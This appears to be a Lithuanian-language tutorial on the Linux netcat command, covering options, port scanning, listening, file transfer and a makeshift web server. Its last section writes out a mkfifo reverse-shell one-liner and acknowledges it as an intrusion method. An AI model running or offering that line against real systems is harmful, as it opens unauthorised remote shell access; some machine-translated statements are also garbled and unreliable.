Mokėjimo būdai Abuse

Kam "Linux" naudojama komanda NC

29.08.2024, 02:19

Komanda netcat reikalinga duomenims siųsti ir gauti naudojant TCP ir UDP protokolus. Ji neturi didelio funkcijų rinkinio, tačiau jos pakanka ryšiui tikrinti ir paprastam derinimui. Kaip palaikyti ryšį naudojant TCP protokolą? Šį klausimą užduoda daugelis naudotojų. Šiame straipsnyje į jį atsakysime, taip pat pateiksime realaus komandos taikymo pavyzdžių.

Ką atlieka ši komanda?

Komanda netcat (arba nc) yra galingas įrankis darbui su tinklo ryšiais. Ją dažnai naudoja sistemų administratoriai ir programuotojai įvairioms užduotims atlikti. Čia pateikiamos pagrindinės netcat funkcijos ir ypatybės:

  1. TCP/UDP ryšių užmezgimas: leidžia užmegzti ryšius su nutolusiais kompiuteriais naudojant TCP ir UDP protokolus.
  2. Prievado klausymasis: gali būti naudojamas kaip serveris, kad klausytųsi įeinančių jungčių tam tikrame prievade.
  3. Duomenų perdavimas: perduoda duomenis tarp kompiuterių tinklu. Tai gali būti naudinga failų perdavimui arba žinučių siuntimui.
  4. Tinklo programų derinimas: naudojamas tinklo paslaugoms išbandyti ir derinti, leidžia siųsti ir gauti savavališkus duomenis.
  5. Kurti paprastus pokalbius: galima sukurti paprastą tekstinį bendravimą tarp dviejų sistemų.
  6. Prievadų nuskaitymas: galima naudoti norint patikrinti, ar nutolusiuose kompiuteriuose yra atvirų prievadų.
  7. Tuneliavimas: gali būti naudojamas tuneliams kurti, kad srautas būtų nukreiptas per kitus prievadus ar prievadus.
  8. Darbas su tarpiniais serveriais: gali būti naudojamas darbui su tarpiniais serveriais ir įvairioms tinklo užduotims atlikti.

Netcat yra universalus įrankis, kurį galima naudoti įvairiuose scenarijuose - nuo paprasto pranešimų siuntimo iki sudėtingų tinklo operacijų.

Parinktys

Pradėkime nuo sintaksės ir populiariausių iš jų:

  • -6 - naudoti IPv6 protokolą. Pagal numatytuosius nustatymus atitinkamai -4 ir IPv4;
  • -h - rodyti pagalbą su galimų parametrų sąrašu;
  • -i - delay - pridėkite delsą tarp eilučių siuntimo arba prievadų nuskaitymo. Jis nustatomas sekundėmis;
  • -l - klausymosi režimas. Naudojamas kartu su prievado specifikacija;
  • -N - uždaryti ryšį, kai siunčiant pasiekiamas failo galas;
  • -n - darbas su IP adresais tiesiogiai, be DNS, taip pat išjungiamas prievadų nuskaitymas;
  • -P - user_name - nurodykite vartotojo vardą, kuriuo jungiamasi prie tarpinio serverio;
  • -x - address:port - nurodykite adresą ir prievadą, kuriuo jungiamasi prie tarpinio serverio;
  • -p - prievadas - nurodykite prievado numerį. Daugeliu atvejų prievadas nuskaitomas nenurodant parametro;
  • -U - naudoti UNIX domeno lizdą (tarpprocesiniam ryšiui);
  • -u - naudoti UDP protokolą, pagal numatytuosius nustatymus naudojamas TCP protokolas;
  • -v - detalusis režimas. Naudojamas atliekant nuskaitymą;
  • -W number_packets - uždaro ryšį gavus tam tikrą paketų skaičių;
  • -w timer - įjungti laikmatį, kad būtų apribotas ryšio laikas. Jis nustatomas sekundėmis;
  • -z - išjungti duomenų siuntimą. Naudojamas nuskaitymo metu.

Komanda turi tokią formą (parametrai prievado adresas):

$ nc

Toliau papasakosime, kaip naudoti šią komandą.

Prievado tikrinimas

Tikrinimas yra pagrindinė netcat naudojimo paskirtis. Turėtumėte naudoti du parametrus -vz, nurodyti adresą ir prievadą. Galite nurodyti adresų intervalą, tačiau šiuo atveju geriau išsitirti tik atvirus prievadus naudojant komandągrep. Nuskaitykime vietinio tinklo adreso prievadus:

$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

Tokiu pat būdu nuskaitykime UDP prievadus pridėję parametrą -u:

$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

Turėtumėte žinoti pagrindinį skirtumą tarp TCP ir UDP. Taigi UDP prievadai visada yra prieinami.

Klausymasis prievado

Parametras -l skirtas klausytis prievado. Dažnai jo pakanka, tačiau galite įjungti detalųjį režimą:

$ nc -nlv 8080

Atminkite, kad naudojant TCP protokolą prievadas turi būti laisvas, kitaip bus rodoma klaida Jau naudojamas. Ne visais prievadais gali naudotis paprasti naudotojai, pavyzdžiui, 80 prievadu (HTTP), greičiausiai jis bus užimtas kito proceso ir reikės supernaudotojo teisių.

Keitimasis failais

Naudinga šios komandos galimybė yra keitimasis duomenimis. Paprastas pavyzdys - tekstinių pokalbių kambarys. Norėdami pradėti pokalbį viename kompiuteryje, paleiskite programą prievado klausymosi režimu:

$ nc -lp 8080

Kitame kompiuteryje reikės nurodyti pirmojo kompiuterio adresą ir tą patį prievadą. Taip pat nepamirškite patikrinti, ar prievadas yra atidarytas:

$ nc 0.0.0.0 8080

Taip galėsite siųsti ir gauti žinutes. Tai reiškia, kad komanda skirta keistis failais. Principas tas pats, tik išvestį reikia nukreipti į failą, būtent paste.txt:

$ nc -l 8080 > paste.txt

Kitame kompiuteryje kaip įvestis bus naudojamas failas copy.txt. Ne be reikalo naudojamas parametras -N, kad po failo perdavimo būtų uždarytas ryšys:

$ nc -N 0.0.0.0 8080 < copy.txt

Perduodant failą svarbu laikytis sekos, pirmiausia atidaryti klausymąsi ir tik tada siųsti failą. Komanda nc yra veikiantis, bet toli gražu ne pats geriausias failų perdavimo būdas. Šiai užduočiai atlikti yra efektyvesnių ir naudingesnių priemonių.

Paprastas žiniatinklio serveris

Kadangi NC komanda neveikia su TCP protokolu, ji leidžia ir siųsti, ir priimti HTTP užklausas. Vadinasi, programa gali tapti paprastu žiniatinklio serveriu. Taip, tokiu būdu negalėsite atlikti nieko sudėtingesnio nei tuščias puslapis, tačiau operacija beveik neužims laiko, o pliusas tas, kad nereikės diegti nieko papildomo.

Pavyzdyje pateiktoje formoje HTTP atsakymas su failu index.html. Kalbant apie patį np, pravartu nustatyti laikmatį su parametru -w 1, kad būtų nutrauktas ryšys, jei naršyklė to nepadarys:

$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

Norėdami gauti duomenų iš svetainės, galite suformuoti užklausą ir nusiųsti ją į patariamą adresą ir prievadą. Tačiau šis būdas gana sudėtingas, geriau naudoti atitinkamą CURL komandą.

Nuotolinis apvalkalas

Remiantis anksčiau aptartais pavyzdžiais, nebus sunku padaryti išvadą, kad komanda leidžia organizuoti nuotolinę prieigą prie kompiuterio apvalkalo. Anksčiau NC programa turėjo keletą parametrų, kuriais buvo galima atidaryti prieigą prie terminalo. Parametras -e jau seniai pašalintas iš šios programos, todėl paprastos prieigos prie terminalo nebebus. Pačios programos saugumas tapo didesnis, tačiau ji ir toliau gali veikti kartu su kitomis.

Parodykime prisijungimą naudojant pavadintą kanalą mkfifo. Pirmiausia pradėkime klausytis kompiuterio prievado, prie kurio gausime prieigą:

$ nc -lvnp 8080

Pereikime tiesiai prie terminalo atidarymo komandos. Pirmiausia ištrinkite senąjį pavadintą kanalą(rm /tmp/f), jo vietoje sukurkite naują(mkfifo /tmp/f), perskaitykite jo turinį(cat /tmp/f) ir į jo išvestį nusiųskite apvalkalo komandą(sh -i 2>&1). Po to belieka paleisti nc su išvestimi į mūsų pavadintą kanalą(nc 0.0.0.0.0.0 8080 >/tmp/f):

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Atminkite, kad tai vienas iš įsilaužimo būdų, tačiau jis gali būti naudingas, jei kyla problemų su ssh. Norėdami užkirsti kelią išpuoliui, sukonfigūruokite saugumo politiką ir ugniasienę.